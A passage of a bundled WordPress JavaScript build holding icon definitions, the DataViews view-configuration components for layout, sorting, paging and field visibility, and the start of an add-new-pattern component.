;// ./node_modules/@wordpress/icons/build-module/library/cog.js
/**
* WordPress dependencies
*/
const cog = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
fillRule: "evenodd",
d: "M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z",
clipRule: "evenodd"
})
});
/* harmony default export */ const library_cog = (cog);
;// external ["wp","warning"]
const external_wp_warning_namespaceObject = window["wp"]["warning"];
var external_wp_warning_default = /*#__PURE__*/__webpack_require__.n(external_wp_warning_namespaceObject);
;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-view-config/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
Menu: dataviews_view_config_Menu
} = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
const DATAVIEWS_CONFIG_POPOVER_PROPS = {
className: 'dataviews-config__popover',
placement: 'bottom-end',
offset: 9
};
function ViewTypeMenu({
defaultLayouts = {
list: {},
grid: {},
table: {}
}
}) {
const {
view,
onChangeView
} = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
const availableLayouts = Object.keys(defaultLayouts);
if (availableLayouts.length <= 1) {
return null;
}
const activeView = VIEW_LAYOUTS.find(v => view.type === v.type);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(dataviews_view_config_Menu, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.TriggerButton, {
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
size: "compact",
icon: activeView?.icon,
label: (0,external_wp_i18n_namespaceObject.__)('Layout')
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.Popover, {
children: availableLayouts.map(layout => {
const config = VIEW_LAYOUTS.find(v => v.type === layout);
if (!config) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.RadioItem, {
value: layout,
name: "view-actions-available-view",
checked: layout === view.type,
hideOnClick: true,
onChange: e => {
switch (e.target.value) {
case 'list':
case 'grid':
case 'table':
const viewWithoutLayout = {
...view
};
if ('layout' in viewWithoutLayout) {
delete viewWithoutLayout.layout;
}
// @ts-expect-error
return onChangeView({
...viewWithoutLayout,
type: e.target.value,
...defaultLayouts[e.target.value]
});
}
true ? external_wp_warning_default()('Invalid dataview') : 0;
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.ItemLabel, {
children: config.label
})
}, layout);
})
})]
});
}
function SortFieldControl() {
const {
view,
fields,
onChangeView
} = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
const orderOptions = (0,external_wp_element_namespaceObject.useMemo)(() => {
const sortableFields = fields.filter(field => field.enableSorting !== false);
return sortableFields.map(field => {
return {
label: field.label,
value: field.id
};
});
}, [fields]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SelectControl, {
__nextHasNoMarginBottom: true,
__next40pxDefaultSize: true,
label: (0,external_wp_i18n_namespaceObject.__)('Sort by'),
value: view.sort?.field,
options: orderOptions,
onChange: value => {
onChangeView({
...view,
sort: {
direction: view?.sort?.direction || 'desc',
field: value
},
showLevels: false
});
}
});
}
function SortDirectionControl() {
const {
view,
fields,
onChangeView
} = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
const sortableFields = fields.filter(field => field.enableSorting !== false);
if (sortableFields.length === 0) {
return null;
}
let value = view.sort?.direction;
if (!value && view.sort?.field) {
value = 'desc';
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControl, {
className: "dataviews-view-config__sort-direction",
__nextHasNoMarginBottom: true,
__next40pxDefaultSize: true,
isBlock: true,
label: (0,external_wp_i18n_namespaceObject.__)('Order'),
value: value,
onChange: newDirection => {
if (newDirection === 'asc' || newDirection === 'desc') {
onChangeView({
...view,
sort: {
direction: newDirection,
field: view.sort?.field ||
// If there is no field assigned as the sorting field assign the first sortable field.
fields.find(field => field.enableSorting !== false)?.id || ''
},
showLevels: false
});
return;
}
true ? external_wp_warning_default()('Invalid direction') : 0;
},
children: SORTING_DIRECTIONS.map(direction => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOptionIcon, {
value: direction,
icon: sortIcons[direction],
label: sortLabels[direction]
}, direction);
})
});
}
const PAGE_SIZE_VALUES = [10, 20, 50, 100];
function ItemsPerPageControl() {
const {
view,
onChangeView
} = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControl, {
__nextHasNoMarginBottom: true,
__next40pxDefaultSize: true,
isBlock: true,
label: (0,external_wp_i18n_namespaceObject.__)('Items per page'),
value: view.perPage || 10,
disabled: !view?.sort?.field,
onChange: newItemsPerPage => {
const newItemsPerPageNumber = typeof newItemsPerPage === 'number' || newItemsPerPage === undefined ? newItemsPerPage : parseInt(newItemsPerPage, 10);
onChangeView({
...view,
perPage: newItemsPerPageNumber,
page: 1
});
},
children: PAGE_SIZE_VALUES.map(value => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
value: value,
label: value.toString()
}, value);
})
});
}
function PreviewOptions({
previewOptions,
onChangePreviewOption,
onMenuOpenChange,
activeOption
}) {
const focusPreviewOptionsField = id => {
// Focus the visibility button to avoid focus loss.
// Our code is safe against the component being unmounted, so we don't need to worry about cleaning the timeout.
// eslint-disable-next-line @wordpress/react-no-unsafe-timeout
setTimeout(() => {
const element = document.querySelector(`.dataviews-field-control__field-${id} .dataviews-field-control__field-preview-options-button`);
if (element instanceof HTMLElement) {
element.focus();
}
}, 50);
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(dataviews_view_config_Menu, {
onOpenChange: onMenuOpenChange,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.TriggerButton, {
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
className: "dataviews-field-control__field-preview-options-button",
size: "compact",
icon: more_vertical,
label: (0,external_wp_i18n_namespaceObject.__)('Preview')
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.Popover, {
children: previewOptions?.map(({
id,
label
}) => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.RadioItem, {
value: id,
checked: id === activeOption,
onChange: () => {
onChangePreviewOption?.(id);
focusPreviewOptionsField(id);
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config_Menu.ItemLabel, {
children: label
})
}, id);
})
})]
});
}
function FieldItem({
field,
label,
description,
isVisible,
isFirst,
isLast,
canMove = true,
onToggleVisibility,
onMoveUp,
onMoveDown,
previewOptions,
onChangePreviewOption
}) {
const [isChangingPreviewOption, setIsChangingPreviewOption] = (0,external_wp_element_namespaceObject.useState)(false);
const focusVisibilityField = () => {
// Focus the visibility button to avoid focus loss.
// Our code is safe against the component being unmounted, so we don't need to worry about cleaning the timeout.
// eslint-disable-next-line @wordpress/react-no-unsafe-timeout
setTimeout(() => {
const element = document.querySelector(`.dataviews-field-control__field-${field.id} .dataviews-field-control__field-visibility-button`);
if (element instanceof HTMLElement) {
element.focus();
}
}, 50);
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItem, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
expanded: true,
className: dist_clsx('dataviews-field-control__field', `dataviews-field-control__field-${field.id}`,
// The actions are hidden when the mouse is not hovering the item, or focus
// is outside the item.
// For actions that require a popover, a menu etc, that would mean that when the interactive element
// opens and the focus goes there the actions would be hidden.
// To avoid that we add a class to the item, that makes sure actions are visible while there is some
// interaction with the item.
{
'is-interacting': isChangingPreviewOption
}),
justify: "flex-start",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: "dataviews-field-control__icon",
children: !canMove && !field.enableHiding && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
icon: library_lock
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", {
className: "dataviews-field-control__label-sub-label-container",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: "dataviews-field-control__label",
children: label || field.label
}), description && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: "dataviews-field-control__sub-label",
children: description
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "flex-end",
expanded: false,
className: "dataviews-field-control__actions",
children: [isVisible && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
disabled: isFirst || !canMove,
accessibleWhenDisabled: true,
size: "compact",
onClick: onMoveUp,
icon: chevron_up,
label: isFirst || !canMove ? (0,external_wp_i18n_namespaceObject.__)("This field can't be moved up") : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: field label */
(0,external_wp_i18n_namespaceObject.__)('Move %s up'), field.label)
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
disabled: isLast || !canMove,
accessibleWhenDisabled: true,
size: "compact",
onClick: onMoveDown,
icon: chevron_down,
label: isLast || !canMove ? (0,external_wp_i18n_namespaceObject.__)("This field can't be moved down") : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: field label */
(0,external_wp_i18n_namespaceObject.__)('Move %s down'), field.label)
})]
}), onToggleVisibility && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
className: "dataviews-field-control__field-visibility-button",
disabled: !field.enableHiding,
accessibleWhenDisabled: true,
size: "compact",
onClick: () => {
onToggleVisibility();
focusVisibilityField();
},
icon: isVisible ? library_unseen : library_seen,
label: isVisible ? (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: field label */
(0,external_wp_i18n_namespaceObject._x)('Hide %s', 'field'), field.label) : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: field label */
(0,external_wp_i18n_namespaceObject._x)('Show %s', 'field'), field.label)
}), previewOptions && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreviewOptions, {
previewOptions: previewOptions,
onChangePreviewOption: onChangePreviewOption,
onMenuOpenChange: setIsChangingPreviewOption,
activeOption: field.id
})]
})]
})
});
}
function RegularFieldItem({
index,
field,
view,
onChangeView
}) {
var _view$fields;
const visibleFieldIds = (_view$fields = view.fields) !== null && _view$fields !== void 0 ? _view$fields : [];
const isVisible = index !== undefined && visibleFieldIds.includes(field.id);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FieldItem, {
field: field,
isVisible: isVisible,
isFirst: index !== undefined && index < 1,
isLast: index !== undefined && index === visibleFieldIds.length - 1,
onToggleVisibility: () => {
onChangeView({
...view,
fields: isVisible ? visibleFieldIds.filter(fieldId => fieldId !== field.id) : [...visibleFieldIds, field.id]
});
},
onMoveUp: index !== undefined ? () => {
var _visibleFieldIds$slic;
onChangeView({
...view,
fields: [...((_visibleFieldIds$slic = visibleFieldIds.slice(0, index - 1)) !== null && _visibleFieldIds$slic !== void 0 ? _visibleFieldIds$slic : []), field.id, visibleFieldIds[index - 1], ...visibleFieldIds.slice(index + 1)]
});
} : undefined,
onMoveDown: index !== undefined ? () => {
var _visibleFieldIds$slic2;
onChangeView({
...view,
fields: [...((_visibleFieldIds$slic2 = visibleFieldIds.slice(0, index)) !== null && _visibleFieldIds$slic2 !== void 0 ? _visibleFieldIds$slic2 : []), visibleFieldIds[index + 1], field.id, ...visibleFieldIds.slice(index + 2)]
});
} : undefined
});
}
function dataviews_view_config_isDefined(item) {
return !!item;
}
function FieldControl() {
var _view$fields2;
const {
view,
fields,
onChangeView
} = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
const togglableFields = [view?.titleField, view?.mediaField, view?.descriptionField].filter(Boolean);
const visibleFieldIds = (_view$fields2 = view.fields) !== null && _view$fields2 !== void 0 ? _view$fields2 : [];
const hiddenFields = fields.filter(f => !visibleFieldIds.includes(f.id) && !togglableFields.includes(f.id) && f.type !== 'media');
const visibleFields = visibleFieldIds.map(fieldId => fields.find(f => f.id === fieldId)).filter(dataviews_view_config_isDefined);
if (!visibleFields?.length && !hiddenFields?.length) {
return null;
}
const titleField = fields.find(f => f.id === view.titleField);
const previewField = fields.find(f => f.id === view.mediaField);
const descriptionField = fields.find(f => f.id === view.descriptionField);
const previewFields = fields.filter(f => f.type === 'media');
let previewFieldUI;
if (previewFields.length > 1) {
var _view$showMedia;
const isPreviewFieldVisible = dataviews_view_config_isDefined(previewField) && ((_view$showMedia = view.showMedia) !== null && _view$showMedia !== void 0 ? _view$showMedia : true);
previewFieldUI = dataviews_view_config_isDefined(previewField) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FieldItem, {
field: previewField,
label: (0,external_wp_i18n_namespaceObject.__)('Preview'),
description: previewField.label,
isVisible: isPreviewFieldVisible,
onToggleVisibility: () => {
onChangeView({
...view,
showMedia: !isPreviewFieldVisible
});
},
canMove: false,
previewOptions: previewFields.map(field => ({
label: field.label,
id: field.id
})),
onChangePreviewOption: newPreviewId => onChangeView({
...view,
mediaField: newPreviewId
})
}, previewField.id);
}
const lockedFields = [{
field: titleField,
isVisibleFlag: 'showTitle'
}, {
field: previewField,
isVisibleFlag: 'showMedia',
ui: previewFieldUI
}, {
field: descriptionField,
isVisibleFlag: 'showDescription'
}].filter(({
field
}) => dataviews_view_config_isDefined(field));
const visibleLockedFields = lockedFields.filter(({
field,
isVisibleFlag
}) => {
var _view$isVisibleFlag;
return (
// @ts-expect-error
dataviews_view_config_isDefined(field) && ((_view$isVisibleFlag = view[isVisibleFlag]) !== null && _view$isVisibleFlag !== void 0 ? _view$isVisibleFlag : true)
);
});
const hiddenLockedFields = lockedFields.filter(({
field,
isVisibleFlag
}) => {
var _view$isVisibleFlag2;
return (
// @ts-expect-error
dataviews_view_config_isDefined(field) && !((_view$isVisibleFlag2 = view[isVisibleFlag]) !== null && _view$isVisibleFlag2 !== void 0 ? _view$isVisibleFlag2 : true)
);
});
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
className: "dataviews-field-control",
spacing: 6,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
className: "dataviews-view-config__properties",
spacing: 0,
children: (visibleLockedFields.length > 0 || !!visibleFields?.length) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, {
isBordered: true,
isSeparated: true,
children: [visibleLockedFields.map(({
field,
isVisibleFlag,
ui
}) => {
return ui !== null && ui !== void 0 ? ui : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FieldItem, {
field: field,
isVisible: true,
onToggleVisibility: () => {
onChangeView({
...view,
[isVisibleFlag]: false
});
},
canMove: false
}, field.id);
}), visibleFields.map((field, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(RegularFieldItem, {
field: field,
view: view,
onChangeView: onChangeView,
index: index
}, field.id))]
})
}), (!!hiddenFields?.length || !!hiddenLockedFields.length) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 4,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, {
style: {
margin: 0
},
children: (0,external_wp_i18n_namespaceObject.__)('Hidden')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
className: "dataviews-view-config__properties",
spacing: 0,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, {
isBordered: true,
isSeparated: true,
children: [hiddenLockedFields.length > 0 && hiddenLockedFields.map(({
field,
isVisibleFlag,
ui
}) => {
return ui !== null && ui !== void 0 ? ui : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FieldItem, {
field: field,
isVisible: false,
onToggleVisibility: () => {
onChangeView({
...view,
[isVisibleFlag]: true
});
},
canMove: false
}, field.id);
}), hiddenFields.map(field => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(RegularFieldItem, {
field: field,
view: view,
onChangeView: onChangeView
}, field.id))]
})
})]
})]
});
}
function SettingsSection({
title,
description,
children
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalGrid, {
columns: 12,
className: "dataviews-settings-section",
gap: 4,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
className: "dataviews-settings-section__sidebar",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
level: 2,
className: "dataviews-settings-section__title",
children: title
}), description && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
variant: "muted",
className: "dataviews-settings-section__description",
children: description
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalGrid, {
columns: 8,
gap: 4,
className: "dataviews-settings-section__content",
children: children
})]
});
}
function DataviewsViewConfigDropdown() {
const {
view
} = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
const popoverId = (0,external_wp_compose_namespaceObject.useInstanceId)(_DataViewsViewConfig, 'dataviews-view-config-dropdown');
const activeLayout = VIEW_LAYOUTS.find(layout => layout.type === view.type);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
expandOnMobile: true,
popoverProps: {
...DATAVIEWS_CONFIG_POPOVER_PROPS,
id: popoverId
},
renderToggle: ({
onToggle,
isOpen
}) => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
size: "compact",
icon: library_cog,
label: (0,external_wp_i18n_namespaceObject._x)('View options', 'View is used as a noun'),
onClick: onToggle,
"aria-expanded": isOpen ? 'true' : 'false',
"aria-controls": popoverId
});
},
renderContent: () => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalDropdownContentWrapper, {
paddingSize: "medium",
className: "dataviews-config__popover-content-wrapper",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
className: "dataviews-view-config",
spacing: 6,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(SettingsSection, {
title: (0,external_wp_i18n_namespaceObject.__)('Appearance'),
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
expanded: true,
className: "is-divided-in-two",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SortFieldControl, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SortDirectionControl, {})]
}), !!activeLayout?.viewConfigOptions && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(activeLayout.viewConfigOptions, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ItemsPerPageControl, {})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SettingsSection, {
title: (0,external_wp_i18n_namespaceObject.__)('Properties'),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FieldControl, {})
})]
})
})
});
}
function _DataViewsViewConfig({
defaultLayouts = {
list: {},
grid: {},
table: {}
}
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ViewTypeMenu, {
defaultLayouts: defaultLayouts
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataviewsViewConfigDropdown, {})]
});
}
const DataViewsViewConfig = (0,external_wp_element_namespaceObject.memo)(_DataViewsViewConfig);
/* harmony default export */ const dataviews_view_config = (DataViewsViewConfig);
;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const defaultGetItemId = item => item.id;
const defaultIsItemClickable = () => true;
const dataviews_EMPTY_ARRAY = [];
function DataViews({
view,
onChangeView,
fields,
search = true,
searchLabel = undefined,
actions = dataviews_EMPTY_ARRAY,
data,
getItemId = defaultGetItemId,
getItemLevel,
isLoading = false,
paginationInfo,
defaultLayouts,
selection: selectionProperty,
onChangeSelection,
onClickItem,
isItemClickable = defaultIsItemClickable,
header
}) {
const [containerWidth, setContainerWidth] = (0,external_wp_element_namespaceObject.useState)(0);
const containerRef = (0,external_wp_compose_namespaceObject.useResizeObserver)(resizeObserverEntries => {
setContainerWidth(resizeObserverEntries[0].borderBoxSize[0].inlineSize);
}, {
box: 'border-box'
});
const [selectionState, setSelectionState] = (0,external_wp_element_namespaceObject.useState)([]);
const isUncontrolled = selectionProperty === undefined || onChangeSelection === undefined;
const selection = isUncontrolled ? selectionState : selectionProperty;
const [openedFilter, setOpenedFilter] = (0,external_wp_element_namespaceObject.useState)(null);
function setSelectionWithChange(value) {
const newValue = typeof value === 'function' ? value(selection) : value;
if (isUncontrolled) {
setSelectionState(newValue);
}
if (onChangeSelection) {
onChangeSelection(newValue);
}
}
const _fields = (0,external_wp_element_namespaceObject.useMemo)(() => normalizeFields(fields), [fields]);
const _selection = (0,external_wp_element_namespaceObject.useMemo)(() => {
return selection.filter(id => data.some(item => getItemId(item) === id));
}, [selection, data, getItemId]);
const filters = useFilters(_fields, view);
const [isShowingFilter, setIsShowingFilter] = (0,external_wp_element_namespaceObject.useState)(() => (filters || []).some(filter => filter.isPrimary));
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_context.Provider, {
value: {
view,
onChangeView,
fields: _fields,
actions,
data,
isLoading,
paginationInfo,
selection: _selection,
onChangeSelection: setSelectionWithChange,
openedFilter,
setOpenedFilter,
getItemId,
getItemLevel,
isItemClickable,
onClickItem,
containerWidth
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
className: "dataviews-wrapper",
ref: containerRef,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
alignment: "top",
justify: "space-between",
className: "dataviews__view-actions",
spacing: 1,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "start",
expanded: false,
className: "dataviews__search",
children: [search && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_search, {
label: searchLabel
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FiltersToggle, {
filters: filters,
view: view,
onChangeView: onChangeView,
setOpenedFilter: setOpenedFilter,
setIsShowingFilter: setIsShowingFilter,
isShowingFilter: isShowingFilter
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
spacing: 1,
expanded: false,
style: {
flexShrink: 0
},
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_view_config, {
defaultLayouts: defaultLayouts
}), header]
})]
}), isShowingFilter && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_filters, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsLayout, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsFooter, {})]
})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/use-pattern-settings.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function usePatternSettings() {
var _storedSettings$__exp;
const storedSettings = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getSettings
} = unlock(select(store));
return getSettings();
}, []);
const settingsBlockPatterns = (_storedSettings$__exp = storedSettings.__experimentalAdditionalBlockPatterns) !== null && _storedSettings$__exp !== void 0 ? _storedSettings$__exp :
// WP 6.0
storedSettings.__experimentalBlockPatterns; // WP 5.9
const restBlockPatterns = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getBlockPatterns(), []);
const blockPatterns = (0,external_wp_element_namespaceObject.useMemo)(() => [...(settingsBlockPatterns || []), ...(restBlockPatterns || [])].filter(filterOutDuplicatesByName), [settingsBlockPatterns, restBlockPatterns]);
const settings = (0,external_wp_element_namespaceObject.useMemo)(() => {
const {
__experimentalAdditionalBlockPatterns,
...restStoredSettings
} = storedSettings;
return {
...restStoredSettings,
__experimentalBlockPatterns: blockPatterns,
isPreviewMode: true
};
}, [storedSettings, blockPatterns]);
return settings;
}
;// ./node_modules/@wordpress/icons/build-module/library/symbol-filled.js
/**
* WordPress dependencies
*/
const symbolFilled = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"
})
});
/* harmony default export */ const symbol_filled = (symbolFilled);
;// ./node_modules/@wordpress/icons/build-module/library/upload.js
/**
* WordPress dependencies
*/
const upload = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z"
})
});
/* harmony default export */ const library_upload = (upload);
;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-pattern/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useHistory: add_new_pattern_useHistory,
useLocation: add_new_pattern_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const {
CreatePatternModal,
useAddPatternCategory
} = unlock(external_wp_patterns_namespaceObject.privateApis);
const {
CreateTemplatePartModal
} = unlock(external_wp_editor_namespaceObject.privateApis);
function AddNewPattern() {
const history = add_new_pattern_useHistory();
const location = add_new_pattern_useLocation();
const [showPatternModal, setShowPatternModal] = (0,external_wp_element_namespaceObject.useState)(false);
const [showTemplatePartModal, setShowTemplatePartModal] = (0,external_wp_element_namespaceObject.useState)(false);
// eslint-disable-next-line @wordpress/no-unused-vars-before-return
const {
createPatternFromFile
